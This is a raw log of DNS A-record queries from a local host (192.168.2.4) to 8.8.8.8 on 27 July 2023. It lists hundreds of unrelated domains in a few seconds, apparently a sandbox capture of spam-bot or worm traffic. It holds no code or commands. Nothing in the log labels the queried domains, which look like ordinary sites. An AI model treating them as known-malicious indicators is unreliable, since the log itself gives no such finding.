Jul 27, 2023 21:54:13.002048016 CEST	192.168.2.4	8.8.8.8	0xe779	Standard query (0)	xult.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.052712917 CEST	192.168.2.4	8.8.8.8	0xd920	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.052799940 CEST	192.168.2.4	8.8.8.8	0xda05	Standard query (0)	enguita.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.053674936 CEST	192.168.2.4	8.8.8.8	0x7d7e	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.223928928 CEST	192.168.2.4	8.8.8.8	0xa22e	Standard query (0)	yoruksut.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.333777905 CEST	192.168.2.4	8.8.8.8	0x8f48	Standard query (0)	popbook.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.334254980 CEST	192.168.2.4	8.8.8.8	0x3fa5	Standard query (0)	xinhui.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.353354931 CEST	192.168.2.4	8.8.8.8	0x5aeb	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.359391928 CEST	192.168.2.4	8.8.8.8	0x28dd	Standard query (0)	scintel.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.393455029 CEST	192.168.2.4	8.8.8.8	0x425e	Standard query (0)	pers.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.450373888 CEST	192.168.2.4	8.8.8.8	0x7535	Standard query (0)	orbitgas.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.615909100 CEST	192.168.2.4	8.8.8.8	0xfc2e	Standard query (0)	bosado.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.616099119 CEST	192.168.2.4	8.8.8.8	0xe9d6	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.710042000 CEST	192.168.2.4	8.8.8.8	0xfd48	Standard query (0)	adeesa.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.711509943 CEST	192.168.2.4	8.8.8.8	0xfeb9	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.723279953 CEST	192.168.2.4	8.8.8.8	0x34fd	Standard query (0)	bossinst.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.752888918 CEST	192.168.2.4	8.8.8.8	0x5c76	Standard query (0)	tcpoa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.787134886 CEST	192.168.2.4	8.8.8.8	0x2a09	Standard query (0)	cyclad.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.792023897 CEST	192.168.2.4	8.8.8.8	0xc625	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.864397049 CEST	192.168.2.4	8.8.8.8	0x316c	Standard query (0)	e-kami.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.864638090 CEST	192.168.2.4	8.8.8.8	0xfd17	Standard query (0)	canasil.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.864886999 CEST	192.168.2.4	8.8.8.8	0xaf0e	Standard query (0)	awal.ws	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.872704029 CEST	192.168.2.4	8.8.8.8	0xd2e1	Standard query (0)	jsaps.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.880517960 CEST	192.168.2.4	8.8.8.8	0x314a	Standard query (0)	zemarmot.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.918881893 CEST	192.168.2.4	8.8.8.8	0x413c	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.921655893 CEST	192.168.2.4	8.8.8.8	0x997e	Standard query (0)	msl-lock.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.036819935 CEST	192.168.2.4	8.8.8.8	0xb81e	Standard query (0)	ifesnet.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.052793026 CEST	192.168.2.4	8.8.8.8	0xe4b4	Standard query (0)	roewer.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.080832958 CEST	192.168.2.4	8.8.8.8	0x80ac	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.123843908 CEST	192.168.2.4	8.8.8.8	0xacd8	Standard query (0)	bible.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.160758018 CEST	192.168.2.4	8.8.8.8	0xb7a5	Standard query (0)	nekono.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.210915089 CEST	192.168.2.4	8.8.8.8	0x4fd6	Standard query (0)	amerifor.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.217423916 CEST	192.168.2.4	8.8.8.8	0xf958	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.224567890 CEST	192.168.2.4	8.8.8.8	0xac50	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.239312887 CEST	192.168.2.4	8.8.8.8	0x3223	Standard query (0)	bount.com.tw	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.265892982 CEST	192.168.2.4	8.8.8.8	0xba6	Standard query (0)	likangds.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.291299105 CEST	192.168.2.4	8.8.8.8	0xbb72	Standard query (0)	ascc.org.au	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.350553036 CEST	192.168.2.4	8.8.8.8	0xa4ef	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.396760941 CEST	192.168.2.4	8.8.8.8	0x3bfb	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.480673075 CEST	192.168.2.4	8.8.8.8	0x5ac4	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.480673075 CEST	192.168.2.4	8.8.8.8	0x1229	Standard query (0)	pcoyuncu.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.486895084 CEST	192.168.2.4	8.8.8.8	0xface	Standard query (0)	jabian.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.488806963 CEST	192.168.2.4	8.8.8.8	0x9026	Standard query (0)	scintel.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.533370018 CEST	192.168.2.4	8.8.8.8	0x64ae	Standard query (0)	ascc.org.au	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.552285910 CEST	192.168.2.4	8.8.8.8	0x840	Standard query (0)	bd-style.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.591193914 CEST	192.168.2.4	8.8.8.8	0x4dba	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.596823931 CEST	192.168.2.4	8.8.8.8	0x313d	Standard query (0)	kavram.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.596823931 CEST	192.168.2.4	8.8.8.8	0xce2d	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.645751953 CEST	192.168.2.4	8.8.8.8	0x9029	Standard query (0)	fundeo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.660108089 CEST	192.168.2.4	8.8.8.8	0x736d	Standard query (0)	pcoyuncu.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.668971062 CEST	192.168.2.4	8.8.8.8	0xe9d6	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.742615938 CEST	192.168.2.4	8.8.8.8	0xcd41	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.750741005 CEST	192.168.2.4	8.8.8.8	0xdc5	Standard query (0)	ascc.org.au	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.847661972 CEST	192.168.2.4	8.8.8.8	0x5583	Standard query (0)	pcoyuncu.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.865905046 CEST	192.168.2.4	8.8.8.8	0x2a09	Standard query (0)	cyclad.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.891890049 CEST	192.168.2.4	8.8.8.8	0x1f43	Standard query (0)	mail.airmail.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.012051105 CEST	192.168.2.4	8.8.8.8	0x23ad	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.041042089 CEST	192.168.2.4	8.8.8.8	0xa875	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.044956923 CEST	192.168.2.4	8.8.8.8	0xef51	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.056031942 CEST	192.168.2.4	8.8.8.8	0x592f	Standard query (0)	amerifor.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.155796051 CEST	192.168.2.4	8.8.8.8	0x80ac	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.271872997 CEST	192.168.2.4	8.8.8.8	0x5448	Standard query (0)	uster.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.459153891 CEST	192.168.2.4	8.8.8.8	0xdf39	Standard query (0)	lyto.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.474570036 CEST	192.168.2.4	8.8.8.8	0xb96a	Standard query (0)	hamaker.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.485039949 CEST	192.168.2.4	8.8.8.8	0xc8fd	Standard query (0)	paraski.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.596509933 CEST	192.168.2.4	8.8.8.8	0xe6d7	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.608386993 CEST	192.168.2.4	8.8.8.8	0x52d3	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.661156893 CEST	192.168.2.4	8.8.8.8	0x54dc	Standard query (0)	burstner.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.714871883 CEST	192.168.2.4	8.8.8.8	0xe9d6	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.729489088 CEST	192.168.2.4	8.8.8.8	0xc8dc	Standard query (0)	kevyt.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.746007919 CEST	192.168.2.4	8.8.8.8	0x55fb	Standard query (0)	duiops.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.747574091 CEST	192.168.2.4	8.8.8.8	0xb702	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.751420021 CEST	192.168.2.4	8.8.8.8	0xf3b3	Standard query (0)	atb-lit.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.752032995 CEST	192.168.2.4	8.8.8.8	0xb1e7	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.771478891 CEST	192.168.2.4	8.8.8.8	0xcf4e	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.792916059 CEST	192.168.2.4	8.8.8.8	0xf554	Standard query (0)	willsub.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.794704914 CEST	192.168.2.4	8.8.8.8	0x71e2	Standard query (0)	jnf.at	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.800744057 CEST	192.168.2.4	8.8.8.8	0x3059	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.825264931 CEST	192.168.2.4	8.8.8.8	0x4a5d	Standard query (0)	nlcv.bas.bg	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.827403069 CEST	192.168.2.4	8.8.8.8	0x73f3	Standard query (0)	amic.at	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.829617977 CEST	192.168.2.4	8.8.8.8	0xa563	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.837124109 CEST	192.168.2.4	8.8.8.8	0xd361	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.849817038 CEST	192.168.2.4	8.8.8.8	0x506a	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.994890928 CEST	192.168.2.4	8.8.8.8	0xf95b	Standard query (0)	aluminox.es	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.083478928 CEST	192.168.2.4	8.8.8.8	0x4e0d	Standard query (0)	vonparis.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.083478928 CEST	192.168.2.4	8.8.8.8	0xaaa9	Standard query (0)	absblast.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.092981100 CEST	192.168.2.4	8.8.8.8	0x90da	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.161564112 CEST	192.168.2.4	8.8.8.8	0xf179	Standard query (0)	ikulani.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.164096117 CEST	192.168.2.4	8.8.8.8	0xa538	Standard query (0)	www.photo4b.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.206001043 CEST	192.168.2.4	8.8.8.8	0xdb24	Standard query (0)	ruzee.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.243853092 CEST	192.168.2.4	8.8.8.8	0xa84c	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.274344921 CEST	192.168.2.4	8.8.8.8	0xd8b2	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.291764975 CEST	192.168.2.4	8.8.8.8	0x7e48	Standard query (0)	acraloc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.466686010 CEST	192.168.2.4	8.8.8.8	0x4bd2	Standard query (0)	yoruksut.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.475497961 CEST	192.168.2.4	8.8.8.8	0x6a95	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.477576971 CEST	192.168.2.4	8.8.8.8	0x50b5	Standard query (0)	hubbikes.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.541358948 CEST	192.168.2.4	8.8.8.8	0x7796	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.542437077 CEST	192.168.2.4	8.8.8.8	0x4a41	Standard query (0)	biosolve.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.594945908 CEST	192.168.2.4	8.8.8.8	0x11c2	Standard query (0)	k-nikko.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.596095085 CEST	192.168.2.4	8.8.8.8	0xfdac	Standard query (0)	hes.pt	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.599092007 CEST	192.168.2.4	8.8.8.8	0xe6d7	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.649696112 CEST	192.168.2.4	8.8.8.8	0xea13	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.674520969 CEST	192.168.2.4	8.8.8.8	0xdfb0	Standard query (0)	www.reglera.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.693188906 CEST	192.168.2.4	8.8.8.8	0x651	Standard query (0)	isom.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.706872940 CEST	192.168.2.4	8.8.8.8	0x96c9	Standard query (0)	ssm.ch	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.736244917 CEST	192.168.2.4	8.8.8.8	0x36c6	Standard query (0)	skgm.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.802757978 CEST	192.168.2.4	8.8.8.8	0x1018	Standard query (0)	plaske.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.803368092 CEST	192.168.2.4	8.8.8.8	0xf6f2	Standard query (0)	akdeniz.nl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.843053102 CEST	192.168.2.4	8.8.8.8	0xd4e4	Standard query (0)	106west.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.879853010 CEST	192.168.2.4	8.8.8.8	0xfa85	Standard query (0)	ssm.ch	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.881962061 CEST	192.168.2.4	8.8.8.8	0x506a	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.884915113 CEST	192.168.2.4	8.8.8.8	0x241d	Standard query (0)	beafin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.911628008 CEST	192.168.2.4	8.8.8.8	0xae3c	Standard query (0)	yasuma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.916346073 CEST	192.168.2.4	8.8.8.8	0xf013	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.115767956 CEST	192.168.2.4	8.8.8.8	0x80ac	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.146491051 CEST	192.168.2.4	8.8.8.8	0xfbb2	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.163099051 CEST	192.168.2.4	8.8.8.8	0xe303	Standard query (0)	uhsa.edu.ag	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.235430956 CEST	192.168.2.4	8.8.8.8	0x9403	Standard query (0)	grlawcc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.258285046 CEST	192.168.2.4	8.8.8.8	0x47c4	Standard query (0)	grlawcc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.285710096 CEST	192.168.2.4	8.8.8.8	0x8006	Standard query (0)	grlawcc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.332942009 CEST	192.168.2.4	8.8.8.8	0xd8b2	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.373687029 CEST	192.168.2.4	8.8.8.8	0x70cd	Standard query (0)	linac.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.416774988 CEST	192.168.2.4	8.8.8.8	0xe890	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.436412096 CEST	192.168.2.4	8.8.8.8	0x2a65	Standard query (0)	shiner.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.454694986 CEST	192.168.2.4	8.8.8.8	0xf3f2	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.474919081 CEST	192.168.2.4	8.8.8.8	0xd395	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.487586975 CEST	192.168.2.4	8.8.8.8	0xe37b	Standard query (0)	s5w.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.610979080 CEST	192.168.2.4	8.8.8.8	0xa5e1	Standard query (0)	vivastay.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.665149927 CEST	192.168.2.4	8.8.8.8	0x4749	Standard query (0)	mikihan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.708201885 CEST	192.168.2.4	8.8.8.8	0x2eaa	Standard query (0)	fortknox.bm	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.724668980 CEST	192.168.2.4	8.8.8.8	0xe9d6	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.727540970 CEST	192.168.2.4	8.8.8.8	0x6391	Standard query (0)	adventist.ro	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.806734085 CEST	192.168.2.4	8.8.8.8	0xc20e	Standard query (0)	ascc.org.au	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.831777096 CEST	192.168.2.4	8.8.8.8	0x476a	Standard query (0)	ascc.org.au	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.833301067 CEST	192.168.2.4	8.8.8.8	0x7c09	Standard query (0)	rast.se	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.883516073 CEST	192.168.2.4	8.8.8.8	0xc5d1	Standard query (0)	ascc.org.au	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.917659998 CEST	192.168.2.4	8.8.8.8	0xad20	Standard query (0)	noblesse.be	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.024864912 CEST	192.168.2.4	8.8.8.8	0xb5d7	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.027972937 CEST	192.168.2.4	8.8.8.8	0xf791	Standard query (0)	rast.se	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.042640924 CEST	192.168.2.4	8.8.8.8	0xf2e9	Standard query (0)	nolaoig.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.121078968 CEST	192.168.2.4	8.8.8.8	0xeba9	Standard query (0)	pellys.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.166522026 CEST	192.168.2.4	8.8.8.8	0xf718	Standard query (0)	from30ty.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.195882082 CEST	192.168.2.4	8.8.8.8	0x6048	Standard query (0)	wnit.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.261080980 CEST	192.168.2.4	8.8.8.8	0xe565	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.293081045 CEST	192.168.2.4	8.8.8.8	0xf12f	Standard query (0)	kursavto.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.333046913 CEST	192.168.2.4	8.8.8.8	0xa52b	Standard query (0)	beafin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.409132004 CEST	192.168.2.4	8.8.8.8	0x7784	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.481106997 CEST	192.168.2.4	8.8.8.8	0xa634	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.503784895 CEST	192.168.2.4	8.8.8.8	0xbaa4	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.533325911 CEST	192.168.2.4	8.8.8.8	0x896	Standard query (0)	forbin.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.547930002 CEST	192.168.2.4	8.8.8.8	0x2c48	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.567445993 CEST	192.168.2.4	8.8.8.8	0xdc89	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.787056923 CEST	192.168.2.4	8.8.8.8	0xdc8d	Standard query (0)	mijash3.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.862663031 CEST	192.168.2.4	8.8.8.8	0xc494	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.872383118 CEST	192.168.2.4	8.8.8.8	0xe6c	Standard query (0)	s5w.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.911596060 CEST	192.168.2.4	8.8.8.8	0x35d6	Standard query (0)	smitko.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:18.920691967 CEST	192.168.2.4	8.8.8.8	0xde66	Standard query (0)	scip.org.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.021426916 CEST	192.168.2.4	8.8.8.8	0x30d3	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.034390926 CEST	192.168.2.4	8.8.8.8	0x1422	Standard query (0)	roewer.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.035602093 CEST	192.168.2.4	8.8.8.8	0xb5d7	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.073262930 CEST	192.168.2.4	8.8.8.8	0xb241	Standard query (0)	camamat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.158723116 CEST	192.168.2.4	8.8.8.8	0x8153	Standard query (0)	acraloc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.382499933 CEST	192.168.2.4	8.8.8.8	0xad65	Standard query (0)	wvs-net.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.485817909 CEST	192.168.2.4	8.8.8.8	0x105c	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.489464998 CEST	192.168.2.4	8.8.8.8	0xb951	Standard query (0)	shteeble.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.522361994 CEST	192.168.2.4	8.8.8.8	0x697b	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.724395037 CEST	192.168.2.4	8.8.8.8	0x9159	Standard query (0)	ifesnet.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.728360891 CEST	192.168.2.4	8.8.8.8	0x2cfa	Standard query (0)	captlfix.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.757280111 CEST	192.168.2.4	8.8.8.8	0xe1a2	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.793277025 CEST	192.168.2.4	8.8.8.8	0xd88f	Standard query (0)	kairel.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.801279068 CEST	192.168.2.4	8.8.8.8	0xea01	Standard query (0)	wvs-net.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.839114904 CEST	192.168.2.4	8.8.8.8	0x5bc6	Standard query (0)	bosado.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.880029917 CEST	192.168.2.4	8.8.8.8	0x6e7b	Standard query (0)	komie.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.911195040 CEST	192.168.2.4	8.8.8.8	0x6008	Standard query (0)	kewlmail.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:19.978847027 CEST	192.168.2.4	8.8.8.8	0xf89d	Standard query (0)	banvari.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.052256107 CEST	192.168.2.4	8.8.8.8	0xb5d7	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.211815119 CEST	192.168.2.4	8.8.8.8	0x2fbf	Standard query (0)	zupraha.cz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.211844921 CEST	192.168.2.4	8.8.8.8	0xb4d2	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.260389090 CEST	192.168.2.4	8.8.8.8	0x17b6	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.265326977 CEST	192.168.2.4	8.8.8.8	0x373d	Standard query (0)	hamaker.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.275681973 CEST	192.168.2.4	8.8.8.8	0x554e	Standard query (0)	vivastay.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.337358952 CEST	192.168.2.4	8.8.8.8	0x2d0	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.353332043 CEST	192.168.2.4	8.8.8.8	0xc54f	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.395694971 CEST	192.168.2.4	8.8.8.8	0x632f	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.493293047 CEST	192.168.2.4	8.8.8.8	0x105c	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.512345076 CEST	192.168.2.4	8.8.8.8	0x328a	Standard query (0)	skypearl.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.543333054 CEST	192.168.2.4	8.8.8.8	0x58c0	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.583615065 CEST	192.168.2.4	8.8.8.8	0x92fb	Standard query (0)	scintel.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:20.583615065 CEST	192.168.2.4	8.8.8.8	0x98b	Standard query (0)	pcoyuncu.com	A (IP address)	IN (0x0001)	false
